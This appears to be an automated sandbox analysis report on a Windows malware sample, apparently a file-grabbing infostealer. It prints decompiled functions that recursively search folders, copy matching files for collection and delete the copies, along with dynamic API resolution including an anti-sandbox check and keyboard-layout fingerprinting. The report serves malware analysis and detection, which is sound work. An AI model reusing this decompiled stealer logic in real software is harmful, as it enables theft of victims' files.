									E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
									_t273 = _t276 + 0x24;
								}
							} else {
								E00407D50(__eflags,  &_v860, _a4, _a12, _a16, _a20, _a24); // executed
								E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
								_t273 = _t273 + 0x3c;
							}
						} else {
							E00407AC0(_a12, __eflags, _a4,  &_v860, _a12, _a16, _a20); // executed
							E004087E0( &(_v596.cFileName),  &_v860, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
							_t273 = _t273 + 0x38;
						}
						E0040B720( &_v860, 0x104);
						goto L22;
					}
					goto L4;
					L22:
					_t124 = FindNextFileA(_v272,  &_v596); // executed
					__eflags = _t124;
				} while (_t124 != 0);
				_t125 = FindClose(_v272); // executed
				return _t125;
			}

0x004087ec
0x004087f9
0x004087ff
0x00408810
0x00408816
0x00408823
0x00000000
0x00000000
0x00000000
0x00000000
0x0040882a
0x0040882a
0x00408836
0x0040883c
0x0040883e
0x00408856
0x00000000
0x00408856
0x0040884c
0x00408852
0x00408854
0x00408872
0x00408878
0x0040887b
0x0040888e
0x00408890
0x004088e8
0x004088fc
0x004088fe
0x0040895a
0x0040896d
0x0040896f
0x00408a68
0x00408a7b
0x00408a7d
0x00408b7f
0x00408b82
0x00408bae
0x00408bb3
0x00408bb3
0x00408a83
0x00408a8f
0x00408aa1
0x00408aa9
0x00408aae
0x00408ab9
0x00408acf
0x00408ad5
0x00408ad9
0x00408af6
0x00408afb
0x00408afb
0x00408afe
0x00408b02
0x00408b1f
0x00408b24
0x00408b24
0x00408b2e
0x00408b40
0x00408b6f
0x00408b74
0x00408b74
0x00408975
0x00408981
0x00408993
0x004089ab
0x004089c1
0x004089e2
0x004089e7
0x004089ea
0x004089ee
0x00408a0b
0x00408a10
0x00408a10
0x00408a1a
0x00408a2c
0x00408a5b
0x00408a60
0x00408a60
0x00408900
0x0040891b
0x0040894d
0x00408952
0x00408952
0x00408892
0x004088a9
0x004088db
0x004088e0
0x004088e0
0x00408bc2
0x00000000
0x00408bc2
0x00000000
0x00408bc7
0x00408bd5
0x00408bdb
0x00408bdb
0x00408bea
0x00000000

APIs

wsprintfA.USER32 ref: 004087F9
FindFirstFileA.KERNEL32(?,?), ref: 00408810
StrCmpCA.SHLWAPI(?,00414010), ref: 00408836
StrCmpCA.SHLWAPI(?,00414014), ref: 0040884C
FindNextFileA.KERNELBASE(000000FF,?), ref: 00408BD5
FindClose.KERNEL32(000000FF), ref: 00408BEA

Strings

%s\*, xrefs: 004087ED
%s\%s, xrefs: 00408866
zg, xrefs: 0040895A

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*$zg
API String ID: 180737720-3790906901
Opcode ID: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction ID: 0b41a1abc190fb4bcf7a86ba3d7a33f51ad09bf1deba5e068821b47be1bcc9a2
Opcode Fuzzy Hash: 864204762c03cb812e489958dcffbbc39fef40720c2155e64fcd8f4357d5c54a
Instruction Fuzzy Hash: 6FD12EB2500109ABCB14DF94DD84EEB73BDAF8C704F04869DB609A3150EA74EA95CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405E40, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 215
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00405E40(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, char* _a20, int _a24, intOrPtr _a28, int _a32, intOrPtr _a36) {
				char _v5004;
				char _v5268;
				void* _v5272;
				struct _WIN32_FIND_DATAA _v5596;
				char _v5860;
				char _v6124;
				int _v6128;
				char _v6132;
				void* _t73;
				void* _t76;
				int _t77;
				int _t79;
				int _t81;
				int _t85;
				void* _t89;
				int _t91;
				int _t102;
				int _t103;
				int _t104;
				int _t106;
				void* _t157;
				void* _t158;
				void* _t159;

				E004139B0(0x17f0, __ecx);
				wsprintfA( &_v5268, "%s\*");
				_t158 = _t157 + 0xc;
				_t73 = FindFirstFileA( &_v5268,  &_v5596); // executed
				_v5272 = _t73;
				E0040B720( &_v5004, 0x1388);
				_t76 =  *0x41aa24( &_v5004, _a36, _a16);
				if(_v5272 != 0xffffffff) {
					goto L2;
				} else {
					return _t76;
				}
				do {
					L2:
					_t77 =  *0x41aa4c( &(_v5596.cFileName), 0x414010);
					__eflags = _t77;
					if(_t77 == 0) {
						L4:
						goto L25;
					}
					_t81 =  *0x41aa4c( &(_v5596.cFileName), 0x414014);
					__eflags = _t81;
					if(_t81 != 0) {
						wsprintfA( &_v6124, "%s\%s");
						_t159 = _t158 + 0x10;
						_t85 =  *0x41aa4c(_a12, 0x41401a, _a16,  &(_v5596.cFileName));
						__eflags = _t85;
						if(_t85 != 0) {
							__eflags = _a32;
							if(_a32 == 0) {
								wsprintfA( &_v5860, "%s\\%s\\%s", _a4, _a12,  &(_v5596.cFileName));
								_t158 = _t159 + 0x14;
							} else {
								_push( &(_v5596.cFileName));
								_push(_a12);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							}
						} else {
							__eflags = _a32;
							if(_a32 == 0) {
								_push( &(_v5596.cFileName));
								_push(_a4);
								wsprintfA( &_v5860, "%s\%s");
								_t158 = _t159 + 0x10;
							} else {
								wsprintfA( &_v5860, 0x414024,  &(_v5596.cFileName));
								_t158 = _t159 + 0xc;
							}
						}
						_t89 =  *0x41a908( &_v5004);
						__eflags = _t89 - 3;
						if(_t89 <= 3) {
							_t91 = PathMatchSpecA( &(_v5596.cFileName), _a20);
							__eflags = _t91;
							if(_t91 != 0) {
								CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
								E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
								_t158 = _t158 + 0xc;
								DeleteFileA( &(_v5596.cFileName));
							}
							L23:
							__eflags = _a24;
							if(__eflags != 0) {
								E00405E40(_a4, __eflags, _a4, _a8,  &_v5860,  &_v6124, _a20, _a24, _a28, _a32, _a36);
								_t158 = _t158 + 0x24;
							}
							goto L25;
						}
						_t102 = E0040C090( &_v5004, ",",  &_v6132);
						_t158 = _t158 + 0xc;
						_v6128 = _t102;
						while(1) {
							__eflags = _v6128;
							if(_v6128 == 0) {
								break;
							}
							_t103 =  *0x41a990( &(_v5596.cFileName), _v6128, 0);
							__eflags = _t103;
							if(_t103 == 0) {
								_t106 = PathMatchSpecA( &(_v5596.cFileName), _a20);
								__eflags = _t106;
								if(_t106 != 0) {
									CopyFileA( &_v6124,  &(_v5596.cFileName), 1);
									E004137C0(_a8,  &_v5860,  &(_v5596.cFileName));
									_t158 = _t158 + 0xc;
									DeleteFileA( &(_v5596.cFileName));
								}
							}
							_t104 = E0040C090(0, ",",  &_v6132);
							_t158 = _t158 + 0xc;
							_v6128 = _t104;
						}
						goto L23;
					}
					goto L4;
					L25:
					_t79 = FindNextFileA(_v5272,  &_v5596);
					__eflags = _t79;
				} while (_t79 != 0);
				return FindClose(_v5272);
			}

0x00405e48
0x00405e5d
0x00405e63
0x00405e74
0x00405e7a
0x00405e8c
0x00405e9c
0x00405ea9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405eb0
0x00405ebc
0x00405ec2
0x00405ec4
0x00405edc
0x00000000
0x00405edc
0x00405ed2
0x00405ed8
0x00405eda
0x00405ef8
0x00405efe
0x00405f0a
0x00405f10
0x00405f12
0x00405f5a
0x00405f5e
0x00405f9d
0x00405fa3
0x00405f60
0x00405f66
0x00405f6a
0x00405f77
0x00405f7d
0x00405f7d
0x00405f14
0x00405f14
0x00405f18
0x00405f3e
0x00405f42
0x00405f4f
0x00405f55
0x00405f1a
0x00405f2d
0x00405f33
0x00405f33
0x00405f58
0x00405fad
0x00405fb3
0x00405fb6
0x00406084
0x0040608a
0x0040608c
0x0040609e
0x004060b6
0x004060bb
0x004060c5
0x004060c5
0x004060cb
0x004060cb
0x004060cf
0x004060fb
0x00406100
0x00406100
0x00000000
0x004060cf
0x00405fcf
0x00405fd4
0x00405fd7
0x00405fdd
0x00405fdd
0x00405fe4
0x00000000
0x00000000
0x00405ffa
0x00406000
0x00406002
0x0040600f
0x00406015
0x00406017
0x00406029
0x00406041
0x00406046
0x00406050
0x00406050
0x00406017
0x00406064
0x00406069
0x0040606c
0x0040606c
0x00000000
0x00406077
0x00000000
0x00406103
0x00406111
0x00406117
0x00406117
0x00000000

APIs

wsprintfA.USER32 ref: 00405E5D
FindFirstFileA.KERNEL32(?,?,?,00000000,?), ref: 00405E74
lstrcat.KERNEL32(?,?), ref: 00405E9C
StrCmpCA.SHLWAPI(?,00414010), ref: 00405EBC
StrCmpCA.SHLWAPI(?,00414014), ref: 00405ED2
FindNextFileA.KERNEL32(000000FF,?), ref: 00406111
FindClose.KERNEL32(000000FF), ref: 00406126

Strings

%s\*, xrefs: 00405E51
%s\%s, xrefs: 00405EEC, 00405F43, 00405F6B
%s\%s\%s, xrefs: 00405F91

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-1426491737
Opcode ID: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction ID: 0bc9b02d7ab3545e21e8315ee4c466327c2adae897de70d70c4ab632552244ce
Opcode Fuzzy Hash: da2c885b9076c81ca24cc3c87d12da24a82ebc38fc329cbfdd7a2e0dbf039061
Instruction Fuzzy Hash: A88174B5900208EFCB14DFA4DC44DEB73B8EF48745F4486A9F60A96180D7789B94CF56

Uniqueness

Uniqueness Score: -1.00%

Function 00401280, Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 134
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E00401280(intOrPtr _a4, intOrPtr _a8, char* _a12, intOrPtr _a16) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				void* _t43;
				int _t46;
				intOrPtr _t66;
				void* _t98;
				void* _t99;
				void* _t100;
				void* _t101;

				_push(_a8);
				wsprintfA( &_v268, "%s\*");
				_t99 = _t98 + 0xc;
				_t43 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t43;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L11;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_push( &(_v596.cFileName));
							_push(_a8);
							wsprintfA( &_v1124, "%s\%s");
							_t100 = _t99 + 0x10;
							_push(0x41401a);
							_push(_a4);
							if( *0x41aa4c() != 0) {
								_push( &(_v596.cFileName));
								_push(_a4);
								wsprintfA( &_v860, "%s\%s");
								_t101 = _t100 + 0x10;
							} else {
								wsprintfA( &_v860, 0x414024,  &(_v596.cFileName));
								_t101 = _t100 + 0xc;
							}
							if(PathMatchSpecA( &(_v596.cFileName), _a12) != 0) {
								E0040B720( &_v1652, 0x104);
								E0040B720( &_v1388, 0x104);
								 *0x41aa24( &_v1652, _a8);
								 *0x41aa24( &_v1652, 0x414018);
								 *0x41aa24( &_v1652,  &(_v596.cFileName));
								_t66 =  *0x41a5a4; // 0x676278
								 *0x41aa24( &_v1388, _t66);
								 *0x41aa24( &_v1388,  &_v860);
								E004137C0(_a16,  &_v1388,  &_v1652);
								_t101 = _t101 + 0xc;
							}
							E00401280( &_v860,  &_v1124, _a12, _a16); // executed
							_t99 = _t101 + 0x10;
							goto L11;
						}
						goto L4;
						L11:
						_t46 = FindNextFileA(_v272,  &_v596); // executed
					} while (_t46 != 0);
					return FindClose(_v272);
				}
				return _t43;
			}

0x0040128c
0x00401299
0x0040129f
0x004012b0
0x004012b6
0x004012c3
0x004012ca
0x004012ca
0x004012d5
0x004012de
0x004012f6
0x00000000
0x004012f6
0x004012e0
0x004012eb
0x004012f4
0x00401301
0x00401305
0x00401312
0x00401318
0x0040131b
0x00401323
0x0040132c
0x00401352
0x00401356
0x00401363
0x00401369
0x0040132e
0x00401341
0x00401347
0x00401347
0x0040137f
0x00401391
0x004013a2
0x004013b2
0x004013c4
0x004013d8
0x004013de
0x004013eb
0x004013ff
0x00401417
0x0040141c
0x0040141c
0x00401435
0x0040143a
0x00000000
0x0040143a
0x00000000
0x0040143d
0x0040144b
0x00401451
0x00000000
0x00401460
0x00000000

APIs

wsprintfA.USER32 ref: 00401299
FindFirstFileA.KERNELBASE(?,?), ref: 004012B0
StrCmpCA.SHLWAPI(?,00414010), ref: 004012D6
StrCmpCA.SHLWAPI(?,00414014), ref: 004012EC
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040144B
FindClose.KERNEL32(000000FF), ref: 00401460

Strings

%s\*, xrefs: 0040128D
xbg, xrefs: 004013DE
%s\%s, xrefs: 00401306, 00401357

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\*$xbg
API String ID: 180737720-4263445478
Opcode ID: ea03afd42e154e9ef041865c6e00ce4689c65ee657b53df87b15a56bb790f481
Instruction ID: 4cd9f1fc2f596726c4666f8bf9c741da0555b1e74a9e6087d7d803036aaf4599
Opcode Fuzzy Hash: ea03afd42e154e9ef041865c6e00ce4689c65ee657b53df87b15a56bb790f481
Instruction Fuzzy Hash: 56518672500218ABCB10DFA0DD48EEA73B8BF4C705F0485A9B609A3150E779EB94CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C2E0, Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 109
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C2E0() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;
				struct HINSTANCE__* _t3;
				_Unknown_base(*)()* _t4;
				CHAR* _t5;
				intOrPtr _t6;
				struct HINSTANCE__* _t8;
				CHAR* _t11;
				struct HINSTANCE__* _t13;
				CHAR* _t16;
				struct HINSTANCE__* _t18;
				CHAR* _t21;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t26;
				CHAR* _t28;
				struct HINSTANCE__* _t29;
				struct HINSTANCE__* _t30;
				CHAR* _t31;
				struct HINSTANCE__* _t32;
				CHAR* _t33;
				struct HINSTANCE__* _t34;
				CHAR* _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				CHAR* _t38;
				CHAR* _t39;
				intOrPtr _t40;
				struct HINSTANCE__* _t41;
				CHAR* _t42;
				struct HINSTANCE__* _t43;
				CHAR* _t44;
				struct HINSTANCE__* _t45;
				CHAR* _t46;
				struct HINSTANCE__* _t47;

				if( *0x41aa64 != 0) {
					_t6 =  *0x41a1f0; // 0x660da0
					_t30 =  *0x41aa64; // 0x73b60000
					 *0x41aa14 = E0040C1B0(_t30, _t6);
					_t40 =  *0x41a474; // 0x660cc8
					_t8 =  *0x41aa64; // 0x73b60000
					 *0x41a970 = E0040C1B0(_t8, _t40);
					_t31 =  *0x41a718; // 0x660d88
					_t41 =  *0x41aa64; // 0x73b60000
					 *0x41aa8c = GetProcAddress(_t41, _t31);
					_t11 =  *0x41a33c; // 0x65ec70
					_t32 =  *0x41aa64; // 0x73b60000
					 *0x41a88c = GetProcAddress(_t32, _t11);
					_t42 =  *0x41a5bc; // 0x65a9e8
					_t13 =  *0x41aa64; // 0x73b60000
					 *0x41aa68 = GetProcAddress(_t13, _t42);
					_t33 =  *0x41a4b0; // 0x660b48
					_t43 =  *0x41aa64; // 0x73b60000
					 *0x41a9cc = GetProcAddress(_t43, _t33);
					_t16 =  *0x41a4c8; // 0x660bd8
					_t34 =  *0x41aa64; // 0x73b60000
					 *0x41a9e4 = GetProcAddress(_t34, _t16);
					_t44 =  *0x41a7d4; // 0x660ce0
					_t18 =  *0x41aa64; // 0x73b60000
					 *0x41a984 = GetProcAddress(_t18, _t44);
					_t35 =  *0x41a324; // 0x660bf0
					_t45 =  *0x41aa64; // 0x73b60000
					 *0x41aa04 = GetProcAddress(_t45, _t35);
					_t21 =  *0x41a6f0; // 0x660d28
					_t36 =  *0x41aa64; // 0x73b60000
					 *0x41aa78 = GetProcAddress(_t36, _t21);
					_t46 =  *0x41a7b0; // 0x65aa08
					_t23 =  *0x41aa64; // 0x73b60000
					 *0x41a9f4 = GetProcAddress(_t23, _t46);
					_t37 =  *0x41a218; // 0x65aa28
					_t47 =  *0x41aa64; // 0x73b60000
					 *0x41aaa0 = GetProcAddress(_t47, _t37);
					_t26 =  *0x41aa64; // 0x73b60000
					 *0x41aa50 = GetProcAddress(_t26, "VirtualAllocExNuma");
				}
				_t28 =  *0x41a0f8; // 0x660dd0
				_t1 = LoadLibraryA(_t28); // executed
				 *0x41a854 = _t1;
				_t38 =  *0x41a658; // 0x660bc0
				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x660c08
					_t29 =  *0x41a854; // 0x73ae0000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x65a808
					_t3 =  *0x41a934; // 0x76ae0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c435
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(73B60000,00660D88), ref: 0040C332
GetProcAddress.KERNEL32(73B60000,0065EC70), ref: 0040C34A
GetProcAddress.KERNEL32(73B60000,0065A9E8), ref: 0040C362
GetProcAddress.KERNEL32(73B60000,00660B48), ref: 0040C37B
GetProcAddress.KERNEL32(73B60000,00660BD8), ref: 0040C393
GetProcAddress.KERNEL32(73B60000,00660CE0), ref: 0040C3AB
GetProcAddress.KERNEL32(73B60000,00660BF0), ref: 0040C3C4
GetProcAddress.KERNEL32(73B60000,00660D28), ref: 0040C3DC
GetProcAddress.KERNEL32(73B60000,0065AA08), ref: 0040C3F4
GetProcAddress.KERNEL32(73B60000,0065AA28), ref: 0040C40D
GetProcAddress.KERNEL32(73B60000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNEL32(00660DD0,?,00406B72), ref: 0040C435
LoadLibraryA.KERNEL32(00660BC0,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(73AE0000,00660C08), ref: 0040C468
GetProcAddress.KERNEL32(76AE0000,0065A808), ref: 0040C489

Strings

(f, xrefs: 0040C3CF
VirtualAllocExNuma, xrefs: 0040C418
pe, xrefs: 0040C33D

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (f$VirtualAllocExNuma$pe
API String ID: 2238633743-3009886417
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401090, Relevance: 26.3, APIs: 13, Strings: 2, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 0040109D
wsprintfA.USER32 ref: 004010B7
FindFirstFileA.KERNELBASE(?,?), ref: 004010CE
StrCmpCA.SHLWAPI(?,00414010), ref: 004010F4
StrCmpCA.SHLWAPI(?,00414014), ref: 0040110A
FindNextFileA.KERNEL32(000000FF,?), ref: 004011D3
FindClose.KERNEL32(000000FF), ref: 004011E8

Strings

xbg, xrefs: 00401160
%s\%s, xrefs: 004010AB

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID: %s\%s$xbg
API String ID: 2809309208-4034475063
Opcode ID: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction ID: 7ffd25992613dc01ae9c6896dea76ef306beac36bf0277a1da173af701ae58c0
Opcode Fuzzy Hash: f0159c76561ba8365bb9aa6ad5d25ded7c9edc9d81d80b2b2d7af7a0a2787976
Instruction Fuzzy Hash: C63177B6500218ABCB14DFE0DD88EEA77BCAF4C705F0085AAB609A2150DB78D794CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409B40, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 183
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00409B40(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v268;
				void* _v272;
				struct _WIN32_FIND_DATAA _v596;
				char _v860;
				char _v1124;
				char _v1388;
				char _v1652;
				char _v1916;
				char _v2180;
				void* _t57;
				int _t60;
				CHAR* _t64;
				CHAR* _t66;
				void* _t78;
				void* _t80;
				void* _t82;
				CHAR* _t106;
				CHAR* _t107;
				CHAR* _t121;
				CHAR* _t122;
				void* _t135;
				void* _t136;
				void* _t143;
				void* _t144;

				wsprintfA( &_v268, "%s\\*.*", _a12);
				_t136 = _t135 + 0xc;
				_t57 = FindFirstFileA( &_v268,  &_v596); // executed
				_v272 = _t57;
				if(_v272 != 0xffffffff) {
					do {
						_push(0x414010);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() == 0) {
							L4:
							goto L12;
						}
						_push(0x414014);
						_push( &(_v596.cFileName));
						if( *0x41aa4c() != 0) {
							_t64 =  *0x41a39c; // 0x679dc0
							wsprintfA( &_v1124, _t64, _a12,  &(_v596.cFileName), _a4);
							_t66 =  *0x41a6d4; // 0x679090
							wsprintfA( &_v1652, _t66,  &_v1124);
							_t121 =  *0x41a59c; // 0x679d60
							wsprintfA( &_v1388, _t121, _a12,  &(_v596.cFileName), _a4);
							_t122 =  *0x41a6d4; // 0x679090
							wsprintfA( &_v2180, _t122,  &_v1388);
							_t106 =  *0x41a1d8; // 0x672298
							wsprintfA( &_v1916, _t106, _a12,  &(_v596.cFileName), _a4);
							_t107 =  *0x41a6d4; // 0x679090
							wsprintfA( &_v860, _t107,  &_v1916);
							_t78 = E0040BB70( &_v1652); // executed
							_t143 = _t136 + 0x64;
							if(_t78 != 0) {
								E00409970( &_v1124, _a8, _a16,  &(_v596.cFileName), _a20);
								_t143 = _t143 + 0x14;
							}
							_t80 = E0040BB70( &_v2180); // executed
							_t144 = _t143 + 4;
							if(_t80 != 0) {
								E00409970( &_v1388, _a8, _a16,  &(_v596.cFileName), _a20);
								_t144 = _t144 + 0x14;
							}
							_t82 = E0040BB70( &_v860); // executed
							_t136 = _t144 + 4;
							if(_t82 != 0) {
								E00409970( &_v1916, _a8, _a16,  &(_v596.cFileName), _a20);
								_t136 = _t136 + 0x14;
							}
							E0040B720( &_v1124, 0x104);
							E0040B720( &_v1652, 0x104);
							E0040B720( &_v1388, 0x104);
							E0040B720( &_v2180, 0x104);
							E0040B720( &_v1916, 0x104);
							E0040B720( &_v860, 0x104);
							goto L12;
						}
						goto L4;
						L12:
						_t60 = FindNextFileA(_v272,  &_v596); // executed
					} while (_t60 != 0);
					return FindClose(_v272);
				}
				return _t57;
			}

0x00409b59
0x00409b5f
0x00409b70
0x00409b76
0x00409b83
0x00409b8a
0x00409b8a
0x00409b95
0x00409b9e
0x00409bb6
0x00000000
0x00409bb6
0x00409ba0
0x00409bab
0x00409bb4
0x00409bca
0x00409bd7
0x00409be7
0x00409bf4
0x00409c0c
0x00409c1a
0x00409c2a
0x00409c38
0x00409c50
0x00409c5e
0x00409c6e
0x00409c7c
0x00409c8c
0x00409c91
0x00409c96
0x00409cb2
0x00409cb7
0x00409cb7
0x00409cc1
0x00409cc6
0x00409ccb
0x00409ce7
0x00409cec
0x00409cec
0x00409cf6
0x00409cfb
0x00409d00
0x00409d1c
0x00409d21
0x00409d21
0x00409d30
0x00409d41
0x00409d52
0x00409d63
0x00409d74
0x00409d85
0x00000000
0x00409d85
0x00000000
0x00409d8a
0x00409d98
0x00409d9e
0x00000000
0x00409dad
0x00000000

APIs

wsprintfA.USER32 ref: 00409B59
FindFirstFileA.KERNELBASE(?,?), ref: 00409B70
StrCmpCA.SHLWAPI(?,00414010), ref: 00409B96
StrCmpCA.SHLWAPI(?,00414014), ref: 00409BAC
FindNextFileA.KERNELBASE(000000FF,?), ref: 00409D98
FindClose.KERNEL32(000000FF), ref: 00409DAD

Strings

%s\*.*, xrefs: 00409B4D

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200); // executed
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
